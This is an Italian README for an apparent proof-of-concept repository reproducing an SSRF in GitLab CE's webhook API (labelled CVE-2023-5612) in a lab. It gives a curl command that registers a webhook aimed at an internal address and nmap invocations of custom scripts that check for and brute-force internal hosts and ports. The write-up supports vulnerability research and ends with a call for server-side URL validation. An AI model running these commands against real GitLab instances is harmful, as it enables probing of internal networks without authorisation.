curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
     --data-urlencode "url=http://127.0.0.1:8888" \
     http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks

- Kali Linux all'interno di una macchina virtuale, appositamente predisposta per il test
- Un'istanza vulnerabile di GitLab CE avviata tramite Docker (porta 8080)
- All'interno di GitLab:
- Creato un progetto di test
- Generato un Personal Access Token (glpat-...) con diritti di Maintainer
- Per il target SSRF interno è stato avviato un servizio HTTP minimale su 127.0.0.1:8888

- Conferma manuale della vulnerabilità tramite curl (vedi PoC)
- Creazione di script NSE personalizzati:
gitlab-ssrf.nse: verifica puntuale della SSRF
gitlab-ssrf-brute.nse: brute forcing automatico di indirizzi interni
- Test con nmap -d e --script-trace, per analizzare il comportamento dell'API e registrare i risultati
- Ricezione di risposta 401 Unauthorized dal servizio interno, indicante una SSRF riuscita
- Una richiesta riuscita restituirà `201 Created` oppure un errore del tipo `401 Unauthorized`, che indica un accesso SSRF.

nmap -p 8080 \
  --script ./gitlab-ssrf.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

nmap -p 8080 \
  --script ./gitlab-ssrf-brute.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

Nel corso del lavoro sulla vulnerabilità **CVE-2023-5612** è stato riprodotto con successo uno scenario di attacco SSRF con accesso a indirizzi interni attraverso l'API di GitLab CE. Ciò dimostra quanto sia importante limitare le capacità dei webhook e implementare la validazione degli URL lato server.

.
├── gitlab-ssrf.nse             # Script NSE per verifica manuale della SSRF
├── gitlab-ssrf-brute.nse       # Script NSE brute force per scansione host/porte interni
├── screenshots/                # Screenshot dell'esecuzione del PoC e conferma della vulnerabilità
└── README.md                   # Questo file